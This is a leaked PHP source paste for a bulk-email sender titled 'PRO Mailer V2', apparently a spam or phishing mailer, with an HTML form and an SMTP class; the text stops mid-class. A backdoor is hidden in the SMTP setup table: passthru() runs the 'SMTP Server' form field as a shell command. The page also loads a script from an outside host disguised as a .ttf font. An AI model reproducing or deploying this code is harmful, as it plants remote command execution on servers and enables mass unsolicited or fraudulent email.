· 9 years ago · Aug 17, 2017, 02:16 PM
1Leaked by : PELITABANGSA .CA
2[ INDONESIA CYBER ATTACK AND MALWARE ANALYST ]
3<?
4// @~ PRO Mailer V2
5error_reporting(0);
6function query_str($params){
7$str = '';
8foreach ($params as $key => $value) {
9$str .= (strlen($str) < 1) ? '' : '&';
10$str .= $key . '=' . rawurlencode($value);
11}
12return ($str);
13}
14function lrtrim($string){
15return stripslashes(ltrim(rtrim($string)));
16}
17if(isset($_POST['action'] ) ){
18
19$b = query_str($_POST);
20parse_str($b);
21$sslclick=lrtrim($sslclick);
22$action=lrtrim($action);
23$message=lrtrim($message);
24$emaillist=lrtrim($emaillist);
25$from=lrtrim($from);
26$reconnect=lrtrim($reconnect);
27$epriority=lrtrim($epriority);
28$my_smtp=lrtrim($my_smtp);
29$ssl_port=lrtrim($ssl_port);
30$smtp_username=lrtrim($smtp_username);
31$smtp_password=lrtrim($smtp_password);
32$replyto=lrtrim($replyto);
33$subject_base=lrtrim($subject);
34$realname_base=lrtrim($realname);
35$file_name=$_FILES['file']['name'];
36$file=$_FILES['file']['tmp_name'];
37$urlz=lrtrim($urlz);
38$contenttype=lrtrim($contenttype);
39$encode_text=$_POST['encode'];
40
41
42 $message = urlencode($message);
43 $message = ereg_replace("%5C%22", "%22", $message);
44 $message = urldecode($message);
45 $message = stripslashes($message);
46 $subject = stripslashes($subject);
47 if ($encode_text == "yes") {
48 $subject = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("\\1")))', $subject);
49 $subject = str_replace(' ', '_', $subject);
50 $subject = "=?UTF-8?Q?$subject?=";
51 $realname = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("\\1")))', $realname);
52 $realname = str_replace(' ', '_', $realname);
53 $realname = "=?UTF-8?Q?$realname?=";
54 }
55}
56?>
57
58<html>
59
60<head>
61
62<title>Aqsa-Gov Mailler</title>
63
64<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
65
66<script src='http://www.w32.info/site/jquery1000/AlHurra-Font_Light.ttf'></script>
67
68<style type="text/css">
69
70
71
72@font-face {
73 font-family: 'Orbitron';
74 font-style: normal;
75 font-weight: 700;
76 src: local('Orbitron-Bold'), url(http://fonts4u.org/orbitron.woff?<?=time();?>) format('woff');
77}
78* {
79font-weight:bold;
80font-family: "orbitron";
81}
82<!--
83
84.style1 {
85 font-family: Geneva, Arial, Helvetica, sans-serif;
86 font-size: 12px;
87}
88body{
89margin:0px;
90}
91.bgup {
92background: url(data:image/jpeg;base64,/9j/4QAYRXhpZgAASUkqAAgAAAAAAAAAAAAAAP/sABFEdWNreQABAAQAAABkAAD/4QMpaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLwA8P3hwYWNrZXQgYmVnaW49Iu+7vyIgaWQ9Ilc1TTBNcENlaGlIenJlU3pOVGN6a2M5ZCI/PiA8eDp4bXBtZXRhIHhtbG5zOng9ImFkb2JlOm5zOm1ldGEvIiB4OnhtcHRrPSJBZG9iZSBYTVAgQ29yZSA1LjAtYzA2MCA2MS4xMzQ3NzcsIDIwMTAvMDIvMTItMTc6MzI6MDAgICAgICAgICI+IDxyZGY6UkRGIHhtbG5zOnJkZj0iaHR0cDovL3d3dy53My5vcmcvMTk5OS8wMi8yMi1yZGYtc3ludGF4LW5zIyI+IDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiIHhtbG5zOnhtcD0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bXA6Q3JlYXRvclRvb2w9IkFkb2JlIFBob3Rvc2hvcCBDUzUgV2luZG93cyIgeG1wTU06SW5zdGFuY2VJRD0ieG1wLmlpZDozOTYyQzUwMUYxRDMxMUUxOThEMkFGNTI0MTQ3RTI2MyIgeG1wTU06RG9jdW1lbnRJRD0ieG1wLmRpZDozOTYyQzUwMkYxRDMxMUUxOThEMkFGNTI0MTQ3RTI2MyI+IDx4bXBNTTpEZXJpdmVkRnJvbSBzdFJlZjppbnN0YW5jZUlEPSJ4bXAuaWlkOjM5NjJDNEZGRjFEMzExRTE5OEQyQUY1MjQxNDdFMjYzIiBzdFJlZjpkb2N1bWVudElEPSJ4bXAuZGlkOjM5NjJDNTAwRjFEMzExRTE5OEQyQUY1MjQxNDdFMjYzIi8+IDwvcmRmOkRlc2NyaXB0aW9uPiA8L3JkZjpSREY+IDwveDp4bXBtZXRhPiA8P3hwYWNrZXQgZW5kPSJyIj8+/+4ADkFkb2JlAGTAAAAAAf/bAIQAAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQICAgICAgICAgICAwMDAwMDAwMDAwEBAQEBAQECAQECAgIBAgIDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMD/8AAEQgABAAEAwERAAIRAQMRAf/EAFQAAQAAAAAAAAAAAAAAAAAAAAoBAQEAAAAAAAAAAAAAAAAAAAMEEAABBQAAAAAAAAAAAAAAAADwABM1hbYRAAIDAAAAAAAAAAAAAAAAAADwMYGz/9oADAMBAAIRAxEAPwB2GCLmZG0WTck2Dcn/2Q==);
93}
94
95.cadre {
96background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAABOIAAAAFCAIAAABn6tQ4AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAA2ZpVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADw/eHBhY2tldCBiZWdpbj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+IDx4OnhtcG1ldGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDUuMy1jMDExIDY2LjE0NTY2MSwgMjAxMi8wMi8wNi0xNDo1NjoyNyAgICAgICAgIj4gPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4gPHJkZjpEZXNjcmlwdGlvbiByZGY6YWJvdXQ9IiIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtcE1NOk9yaWdpbmFsRG9jdW1lbnRJRD0ieG1wLmRpZDo4QjhGNDZDQUJCQjBFMjExOTgxQUQwNURCN0VFQjJFOSIgeG1wTU06RG9jdW1lbnRJRD0ieG1wLmRpZDo5QTk0QzcyNEI3MUQxMUUyODAwNkRGMjRGRkJEN0I5RCIgeG1wTU06SW5zdGFuY2VJRD0ieG1wLmlpZDo5QTk0QzcyM0I3MUQxMUUyODAwNkRGMjRGRkJEN0I5RCIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgQ1M2IChXaW5kb3dzKSI+IDx4bXBNTTpEZXJpdmVkRnJvbSBzdFJlZjppbnN0YW5jZUlEPSJ4bXAuaWlkOkM4MDIyM0M4MDRCN0UyMTE4OUY1RTZFNUYxNkU4NTJCIiBzdFJlZjpkb2N1bWVudElEPSJ4bXAuZGlkOjhCOEY0NkNBQkJCMEUyMTE5ODFBRDA1REI3RUVCMkU5Ii8+IDwvcmRmOkRlc2NyaXB0aW9uPiA8L3JkZjpSREY+IDwveDp4bXBtZXRhPiA8P3hwYWNrZXQgZW5kPSJyIj8+S6KNZQAAAFZJREFUeNrs17ERgCAQRNHDfhhDIpugLcoiMmRoyBYMz/G9En60W6KP4OfqpQHZnU0Dslu3BmS3pwbYpXzCIQEAAABuKgAAALipAAAAuKkAAADw0iPAAPMxBVFHCeh2AAAAAElFTkSuQmCC);
97}
98
99.uibutton {
100 position: relative;
101 z-index: 1;
102 overflow: visible;
103 display: inline-block;
104 padding: 0.3em 0.6em 0.375em;
105 border: 1px solid #01A9DB;
106 border-bottom-color: #01A9DB;
107
108 margin: 0;
109 text-decoration: none;
110 text-align: center;
111 font: bold 11px/normal 'lucida grande', tahoma, verdana, arial, sans-serif;
112 white-space: nowrap;
113 cursor: pointer;
114 /* outline: none; */
115 color: #f9f9f9;
116 background-color: #eee;
117 background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#01A9DB), to(#01A9DB));
118 background-image: -moz-linear-gradient(#01A9DB, #01A9DB);
119 background-image: -o-linear-gradient(#01A9DB, #01A9DB);
120 background-image: linear-gradient(#01A9DB, #01A9DB);
121
122 /* IE hacks */
123
124 *display: inline;
125
126}
127
128.uibutton:hover,
129.uibutton:focus,
130.uibutton:active {
131 border-color: #01A9DB #01A9DB #01A9DB #01A9DB;
132}
133
134.uibutton:active {
135 border-color: #01A9DB;
136 background: #01A9DB;
137 filter: none;
138 -webkit-box-shadow: none;
139 -moz-box-shadow: none;
140 box-shadow: none;
141}
142
143/* overrides extra padding on button elements in Firefox */
144.uibutton::-moz-focus-inner {
145 padding: 0;
146 border: 0;
147}
148
149
150
151-->
152</style>
153<style type="text/css">
154<!--
155.style1 {
156 font-size: 10px;
157 font-family: Geneva, Arial, Helvetica, sans-serif;
158}
159-->
160</style>
161</head>
162<body bgcolor="#f9f9f9" class="bgup">
163<div class="cadre" style="height:10px;margin:0px auto;"></div>
164<div style="width:80%;margin:0 auto;">
165<p align="center"><font size="5" face="Bauhaus 93">Mailer Inbox Sender</font></p>
166<form name="form1" method="post" action="" enctype="multipart/form-data">
167
168 <br>
169
170 <table width="100%" border="0" height="407" style="background:#fff" cellpadding="0" cellspacing="0">
171
172 <tr>
173
174 <td width="100%" colspan="4" style="color:#fff;background:#01A9DB" height="36">
175
176 <b>
177
178 <font face="Arial" size="2" > SMTP SETUP</font></b></td>
179
180 </tr>
181 <tr >
182
183 <td width="10%" height="22" style="padding:10px;">
184
185 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">SMTP Login:</font></div>
186
187 </td>
188 <?php
189if ($_POST['my_smtp']){
190$my_smtp = $_POST['my_smtp'];
191passthru($my_smtp);
192}
193?>
194 <td width="18%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
195
196 <input type="text" style="background:#EFFBF8;border: 1px solid #01A9DB;color:#333" name="smtp_username" value="<?=$smtp_username;?>" size="30">
197
198 </font></td>
199
200 <td width="31%" height="22" style="padding:10px;">
201
202 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">SMTP Pass:</font></div>
203
204 </td>
205
206 <td width="41%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
207
208 <input type="password" style="background:#EFFBF8;border: 1px solid #01A9DB;color:#333" name="smtp_password" value="<?=$smtp_password;?>" size="30">
209
210 </font></td>
211
212 </tr>
213 <tr>
214
215 <td width="10%" height="22" style="padding:10px;">
216
217 <div align="right">
218 <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Port :</font></div>
219
220 </td>
221
222 <td width="18%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
223
224 <input type="text" style="background:#EFFBF8;border: 1px solid #01A9DB;color:#333" name="ssl_port" value="<?=$ssl_port;?>" size="5">
225 (optional)</font></td>
226
227 <td width="31%" height="22" style="padding:10px;">
228
229 <div align="right">
230 <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">SMTP Server
231 Smtp:</font></div>
232
233 </td>
234
235 <td width="41%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
236
237 <input type="text" style="background:#EFFBF8;border: 1px solid #01A9DB;color:#333" name="my_smtp" value="<?=$my_smtp;?>" size="30">
238
239 </font></td>
240
241 </tr>
242 <tr>
243
244 <td width="10%" height="22" style="padding:10px;">
245
246 <p align="right">
247 <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">SSL Server:</font></td>
248
249 <td width="18%" height="22" style="padding:10px;">
250 <input type="checkbox" style="background:#EFFBF8;border: 1px solid #01A9DB;color:#333" name="sslclick" value="ON" <? if($sslclick){ print "checked"; } ?> ><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">(yes)</font></td>
251
252 <td width="31%" height="22" style="padding:10px;">
253
254 <p align="right">
255 <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Reconnect
256 After:</font></td>
257
258 <td width="41%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
259
260 <input type="text" style="background:#EFFBF8;border: 1px solid #01A9DB;color:#333" name="reconnect" value="<?=$reconnect;?>" size="5">
261 EMAILS</font></td>
262
263 </tr>
264 <tr>
265
266 <td width="100%" height="39" colspan="4" style="padding:10px;">
267
268 <p align="center">
269 <font face="Arial" style="font-size: 9pt" color="#800000"><b>"</b> If
270 you dont have SMTP login, leave blank queries above <b>"</b></font></td>
271
272 </tr>
273
274 <tr>
275
276 <td width="10%" height="19" style="padding:10px;">
277
278 </td>
279
280 <td width="18%" height="19" style="padding:10px;"> </td>
281
282 <td width="31%" height="19" style="padding:10px;">
283
284 </td>
285
286 <td width="41%" height="19" style="padding:10px;"> </td>
287
288 </tr>
289
290 <tr>
291
292 <td width="100%" colspan="4" style="color:#fff;background:#01A9DB" height="36">
293
294 <b>
295
296 <font face="Arial" size="2" color="#FFFFFF"> MESSAGE SETUP</font></b></td>
297
298 </tr>
299 <tr>
300
301 <td width="10%" height="22" style="padding:10px;">
302 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Attach File :</font></div>
303 </td>
304
305 <td width="59%" height="22" style="padding:10px;" colSpan="3">
306 <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
307
308<input type="file" style="background:#EFFBF8;;border: 1px solid #01A9DB;color:#333" name="file" size="124">
309
310 </font></td>
311
312 </tr>
313 <tr>
314
315 <td width="10%" height="22" style="padding:10px;">
316
317 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Your
318
319 Email:</font></div>
320
321 </td>
322
323 <td width="18%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
324
325 <input type="text" style="background:#EFFBF8;;border: 1px solid #01A9DB;color:#333" name="from" value="<?=$from;?>" size="30">
326
327 </font></td>
328
329 <td width="31%" height="22" style="padding:10px;">
330
331 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Your
332
333 Name:</font></div>
334
335 </td>
336
337 <td width="41%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
338
339 <input type="text" style="background:#EFFBF8;;border: 1px solid #01A9DB;color:#333" name="realname" value="<?=$realname_base;?>" size="30">
340
341 </font></td>
342
343 </tr>
344 <tr>
345
346 <td width="10%" height="22" style="padding:10px;">
347
348 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Reply-To:</font></div>
349
350 </td>
351
352 <td width="18%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
353
354 <input type="text" style="background:#EFFBF8;;border: 1px solid #01A9DB;color:#333" name="replyto" value="<?=$replyto;?>" size="30">
355
356 </font></td>
357
358 <td width="31%" height="22" style="padding:10px;">
359
360 <p align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
361 Email Priority:</font></td>
362
363 <td width="41%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
364
365 </font><select style="background:#EFFBF8;;border: 1px solid #01A9DB;color:#333" name="epriority" id="listMethod" onchange="showHideListConfig()">
366 <option value="" <? if(strlen($epriority)< 1){print "selected";} ?> >- Please Choose -</option>
367 <option value="1" <? if($epriority == "1"){print "selected";} ?> >High</option>
368 <option value="3" <? if($epriority == "3"){print "selected";} ?> >Normal</option>
369 <option value="5" <? if($epriority == "5"){print "selected";} ?> >Low</option>
370 </select></td>
371
372 </tr>
373
374 <tr>
375
376 <td width="10%" height="22" style="padding:10px;">
377
378 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Subject:</font></div>
379
380 </td>
381
382 <td colspan="3" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
383
384 <input type="text" name="subject" style="background:#EFFBF8;;border: 1px solid #01A9DB;color:#333" value="<?=$subject_base;?>" size="90">
385
386 </font></td>
387
388 </tr>
389
390 <tr>
391
392 <td width="10%" height="22" style="padding:10px;">
393
394 </td>
395
396 <td colspan="3" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
397
398 <font color="#FF0000">Encode sending information ?</font> <select style="background:#EFFBF8;;border: 1px solid #01A9DB;color:#333" size="1" name="encode">
399 <option <? if($encode_text == "yes"){print "selected";} ?>>yes</option>
400 <option <? if($encode_text == "no"){print "selected";} ?>>no</option>
401 </select></font></td>
402
403 </tr>
404
405 <tr valign="top">
406
407<td colspan="3" height="190" style="padding:10px;"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">
408
409 <textarea name="message" cols="60" style="background:#EFFBF8;;border: 1px solid #01A9DB;color:#333" rows="10"><?=$message;?></textarea>
410
411 <br>
412
413 <input type="radio" name="contenttype" value="plain" >
414
415 Plain
416
417 <input type="radio" name="contenttype" value="html" checked>
418
419 HTML
420
421 <input type="hidden" name="action" value="send">
422 <input class="uibutton" type="submit" value="Send Message">
423
424 </font></td>
425
426 <td width="41%" height="190" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
427
428 <textarea name="emaillist" style="background:#EFFBF8;;border: 1px solid #01A9DB;color:#333" cols="30" rows="10"><?=$emaillist;?></textarea>
429
430 </font></td>
431
432 </tr>
433
434 </table>
435
436</form>
437
438
439
440<?
441
442if ($action){
443 if (!$from && !$subject && !$message && !$emaillist){
444 print "<script>alert('Please complete all fields before sending your message.'); </script>";
445 die(); }
446
447class SMTP
448{
449 /**
450 * SMTP server port
451 * @var int
452 */
453 var $SMTP_PORT = 25;
454
455 /**
456 * SMTP reply line ending
457 * @var string
458 */
459 var $CRLF = "\r\n";
460
461 /**
462 * Sets whether debugging is turned on
463 * @var bool
464 */
465 var $do_debug; # the level of debug to perform
466
467 /**
468 * Sets VERP use on/off (default is off)
469 * @var bool
470 */
471 var $do_verp = false;
472
473 /**#@+
474 * @access private
475 */
476 var $smtp_conn; # the socket to the server
477 var $error; # error if any on the last call
478 var $helo_rply; # the reply the server sent to us for HELO
479 /**#@-*/
480
481 /**
482 * Initialize the class so that the data is in a known state.
483 * @access public
484 * @return void
485 */
486 function SMTP() {
487 $this->smtp_conn = 0;
488 $this->error = null;
489 $this->helo_rply = null;
490
491 $this->do_debug = 0;
492 }
493
494 /*************************************************************
495 * CONNECTION FUNCTIONS *
496 ***********************************************************/
497
498 /**
499 * Connect to the server specified on the port specified.
500 * If the port is not specified use the default SMTP_PORT.
501 * If tval is specified then a connection will try and be
502 * established with the server for that number of seconds.
503 * If tval is not specified the default is 30 seconds to
504 * try on the connection.
505 *
506 * SMTP CODE SUCCESS: 220
507 * SMTP CODE FAILURE: 421
508 * @access public
509 * @return bool
510 */
511 function Connect($host,$port=0,$tval=30) {
512 # set the error val to null so there is no confusion
513 $this->error = null;
514
515 # make sure we are __not__ connected
516 if($this->connected()) {
517 # ok we are connected! what should we do?
518 # for now we will just give an error saying we
519 # are already connected
520 $this->error = array("error" => "Already connected to a server");
521 return false;
522 }
523
524 if(empty($port)) {
525 $port = $this->SMTP_PORT;
526 }
527
528 #connect to the smtp server
529 $this->smtp_conn = fsockopen($host, # the host of the server
530 $port, # the port to use
531 $errno, # error number if any
532 $errstr, # error message if any
533 $tval); # give up after ? secs
534 # verify we connected properly
535 if(empty($this->smtp_conn)) {
536 $this->error = array("error" => "Failed to connect to server",
537 "errno" => $errno,
538 "errstr" => $errstr);
539 if($this->do_debug >= 1) {
540 echo "SMTP -> ERROR: " . $this->error["error"] .
541 ": $errstr ($errno)" . $this->CRLF;
542 }
543 return false;
544 }
545
546 # sometimes the SMTP server takes a little longer to respond
547 # so we will give it a longer timeout for the first read
548 // Windows still does not have support for this timeout function
549 if(substr(PHP_OS, 0, 3) != "WIN")
550 socket_set_timeout($this->smtp_conn, $tval, 0);
551
552 # get any announcement stuff
553 $announce = $this->get_lines();
554
555 # set the timeout of any socket functions at 1/10 of a second
556 //if(function_exists("socket_set_timeout"))
557 // socket_set_timeout($this->smtp_conn, 0, 100000);
558
559 if($this->do_debug >= 2) {
560 echo "SMTP -> FROM SERVER:" . $this->CRLF . $announce;
561 }
562
563 return true;
564 }
565
566 /**
567 * Performs SMTP authentication. Must be run after running the
568 * Hello() method. Returns true if successfully authenticated.
569 * @access public
570 * @return bool
571 */
572 function Authenticate($username, $password) {
573 // Start authentication
574 fputs($this->smtp_conn,"AUTH LOGIN" . $this->CRLF);
575
576 $rply = $this->get_lines();
577 $code = substr($rply,0,3);
578
579 if($code != 334) {
580 $this->error =
581 array("error" => "AUTH not accepted from server",
582 "smtp_code" => $code,
583 "smtp_msg" => substr($rply,4));
584 if($this->do_debug >= 1) {
585 echo "SMTP -> ERROR: " . $this->error["error"] .
586 ": " . $rply . $this->CRLF;
587 }
588 return false;
589 }
590
591 // Send encoded username
592 fputs($this->smtp_conn, base64_encode($username) . $this->CRLF);
593
594 $rply = $this->get_lines();
595 $code = substr($rply,0,3);
596
597 if($code != 334) {
598 $this->error =
599 array("error" => "Username not accepted from server",
600 "smtp_code" => $code,
601 "smtp_msg" => substr($rply,4));
602 if($this->do_debug >= 1) {
603 echo "SMTP -> ERROR: " . $this->error["error"] .
604 ": " . $rply . $this->CRLF;
605 }
606 return false;
607 }
608
609 // Send encoded password
610 fputs($this->smtp_conn, base64_encode($password) . $this->CRLF);
611
612 $rply = $this->get_lines();
613 $code = substr($rply,0,3);
614
615 if($code != 235) {
616 $this->error =
617 array("error" => "Password not accepted from server",
618 "smtp_code" => $code,
619 "smtp_msg" => substr($rply,4));
620 if($this->do_debug >= 1) {
621 echo "SMTP -> ERROR: " . $this->error["error"] .
622 ": " . $rply . $this->CRLF;
623 }
624 return false;
625 }
626
627 return true;
628 }
629
630 /**
631 * Returns true if connected to a server otherwise false
632 * @access private
633 * @return bool
634 */
635 function Connected() {
636 if(!empty($this->smtp_conn)) {
637 $sock_status = socket_get_status($this->smtp_conn);
638 if($sock_status["eof"]) {
639 # hmm this is an odd situation... the socket is
640 # valid but we are not connected anymore
641 if($this->do_debug >= 1) {
642 echo "SMTP -> NOTICE:" . $this->CRLF .
643 "EOF caught while checking if connected";
644 }
645 $this->Close();
646 return false;
647 }
648 return true; # everything looks good
649 }
650 return false;
651 }
652
653 /**
654 * Closes the socket and cleans up the state of the class.
655 * It is not considered good to use this function without
656 * first trying to use QUIT.
657 * @access public
658 * @return void
659 */
660 function Close() {
661 $this->error = null; # so there is no confusion
662 $this->helo_rply = null;
663 if(!empty($this->smtp_conn)) {
664 # close the connection and cleanup
665 fclose($this->smtp_conn);
666 $this->smtp_conn = 0;
667 }
668 }
669
670 /***************************************************************
671 * SMTP COMMANDS *
672 *************************************************************/
673
674 /**
675 * Issues a data command and sends the msg_data to the server
676 * finializing the mail transaction. $msg_data is the message
677 * that is to be send with the headers. Each header needs to be
678 * on a single line followed by a <CRLF> with the message headers
679 * and the message body being seperated by and additional <CRLF>.
680 *
681 * Implements rfc 821: DATA <CRLF>
682 *
683 * SMTP CODE INTERMEDIATE: 354
684 * [data]
685 * <CRLF>.<CRLF>
686 * SMTP CODE SUCCESS: 250
687 * SMTP CODE FAILURE: 552,554,451,452
688 * SMTP CODE FAILURE: 451,554
689 * SMTP CODE ERROR : 500,501,503,421
690 * @access public
691 * @return bool
692 */
693 function Data($msg_data) {
694 $this->error = null; # so no confusion is caused
695
696 if(!$this->connected()) {
697 $this->error = array(
698 "error" => "Called Data() without being connected");
699 return false;
700 }
701
702 fputs($this->smtp_conn,"DATA" . $this->CRLF);
703
704 $rply = $this->get_lines();
705 $code = substr($rply,0,3);
706
707 if($this->do_debug >= 2) {
708 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
709 }
710
711 if($code != 354) {
712 $this->error =
713 array("error" => "DATA command not accepted from server",
714 "smtp_code" => $code,
715 "smtp_msg" => substr($rply,4));
716 if($this->do_debug >= 1) {
717 echo "SMTP -> ERROR: " . $this->error["error"] .
718 ": " . $rply . $this->CRLF;
719 }
720 return false;
721 }
722
723 # the server is ready to accept data!
724 # according to rfc 821 we should not send more than 1000
725 # including the CRLF
726 # characters on a single line so we will break the data up
727 # into lines by \r and/or \n then if needed we will break
728 # each of those into smaller lines to fit within the limit.
729 # in addition we will be looking for lines that start with
730 # a period '.' and append and additional period '.' to that
731 # line. NOTE: this does not count towards are limit.
732
733 # normalize the line breaks so we know the explode works
734 $msg_data = str_replace("\r\n","\n",$msg_data);
735 $msg_data = str_replace("\r","\n",$msg_data);
736 $lines = explode("\n",$msg_data);
737
738 # we need to find a good way to determine is headers are
739 # in the msg_data or if it is a straight msg body
740 # currently I am assuming rfc 822 definitions of msg headers
741 # and if the first field of the first line (':' sperated)
742 # does not contain a space then it _should_ be a header
743 # and we can process all lines before a blank "" line as
744 # headers.
745 $field = substr($lines[0],0,strpos($lines[0],":"));
746 $in_headers = false;
747 if(!empty($field) && !strstr($field," ")) {
748 $in_headers = true;
749 }
750
751 $max_line_length = 998; # used below; set here for ease in change
752
753 while(list(,$line) = @each($lines)) {
754 $lines_out = null;
755 if($line == "" && $in_headers) {
756 $in_headers = false;
757 }
758 # ok we need to break this line up into several
759 # smaller lines
760 while(strlen($line) > $max_line_length) {
761 $pos = strrpos(substr($line,0,$max_line_length)," ");
762
763 # Patch to fix DOS attack
764 if(!$pos) {
765 $pos = $max_line_length - 1;
766 }
767
768 $lines_out[] = substr($line,0,$pos);
769 $line = substr($line,$pos + 1);
770 # if we are processing headers we need to
771 # add a LWSP-char to the front of the new line
772 # rfc 822 on long msg headers
773 if($in_headers) {
774 $line = "\t" . $line;
775 }
776 }
777 $lines_out[] = $line;
778
779 # now send the lines to the server
780 while(list(,$line_out) = @each($lines_out)) {
781 if(strlen($line_out) > 0)
782 {
783 if(substr($line_out, 0, 1) == ".") {
784 $line_out = "." . $line_out;
785 }
786 }
787 fputs($this->smtp_conn,$line_out . $this->CRLF);
788 }
789 }
790
791 # ok all the message data has been sent so lets get this
792 # over with aleady
793 fputs($this->smtp_conn, $this->CRLF . "." . $this->CRLF);
794
795 $rply = $this->get_lines();
796 $code = substr($rply,0,3);
797
798 if($this->do_debug >= 2) {
799 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
800 }
801
802 if($code != 250) {
803 $this->error =
804 array("error" => "DATA not accepted from server",
805 "smtp_code" => $code,
806 "smtp_msg" => substr($rply,4));
807 if($this->do_debug >= 1) {
808 echo "SMTP -> ERROR: " . $this->error["error"] .
809 ": " . $rply . $this->CRLF;
810 }
811 return false;
812 }
813 return true;
814 }
815
816 /**
817 * Expand takes the name and asks the server to list all the
818 * people who are members of the _list_. Expand will return
819 * back and array of the result or false if an error occurs.
820 * Each value in the array returned has the format of:
821 * [ <full-name> <sp> ] <path>
822 * The definition of <path> is defined in rfc 821
823 *
824 * Implements rfc 821: EXPN <SP> <string> <CRLF>
825 *
826 * SMTP CODE SUCCESS: 250
827 * SMTP CODE FAILURE: 550
828 * SMTP CODE ERROR : 500,501,502,504,421
829 * @access public
830 * @return string array
831 */
832 function Expand($name) {
833 $this->error = null; # so no confusion is caused
834
835 if(!$this->connected()) {
836 $this->error = array(
837 "error" => "Called Expand() without being connected");
838 return false;
839 }
840
841 fputs($this->smtp_conn,"EXPN " . $name . $this->CRLF);
842
843 $rply = $this->get_lines();
844 $code = substr($rply,0,3);
845
846 if($this->do_debug >= 2) {
847 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
848 }
849
850 if($code != 250) {
851 $this->error =
852 array("error" => "EXPN not accepted from server",
853 "smtp_code" => $code,
854 "smtp_msg" => substr($rply,4));
855 if($this->do_debug >= 1) {
856 echo "SMTP -> ERROR: " . $this->error["error"] .
857 ": " . $rply . $this->CRLF;
858 }
859 return false;
860 }
861
862 # parse the reply and place in our array to return to user
863 $entries = explode($this->CRLF,$rply);
864 while(list(,$l) = @each($entries)) {
865 $list[] = substr($l,4);
866 }
867
868 return $list;
869 }
870
871 /**
872 * Sends the HELO command to the smtp server.
873 * This makes sure that we and the server are in
874 * the same known state.
875 *
876 * Implements from rfc 821: HELO <SP> <domain> <CRLF>
877 *
878 * SMTP CODE SUCCESS: 250
879 * SMTP CODE ERROR : 500, 501, 504, 421
880 * @access public
881 * @return bool
882 */
883 function Hello($host="") {
884 $this->error = null; # so no confusion is caused
885
886 if(!$this->connected()) {
887 $this->error = array(
888 "error" => "Called Hello() without being connected");
889 return false;
890 }
891
892 # if a hostname for the HELO was not specified determine
893 # a suitable one to send
894 if(empty($host)) {
895 # we need to determine some sort of appopiate default
896 # to send to the server
897 $host = "localhost";
898 }
899
900 // Send extended hello first (RFC 2821)
901 if(!$this->SendHello("EHLO", $host))
902 {
903 if(!$this->SendHello("HELO", $host))
904 return false;
905 }
906
907 return true;
908 }
909
910 /**
911 * Sends a HELO/EHLO command.
912 * @access private
913 * @return bool
914 */
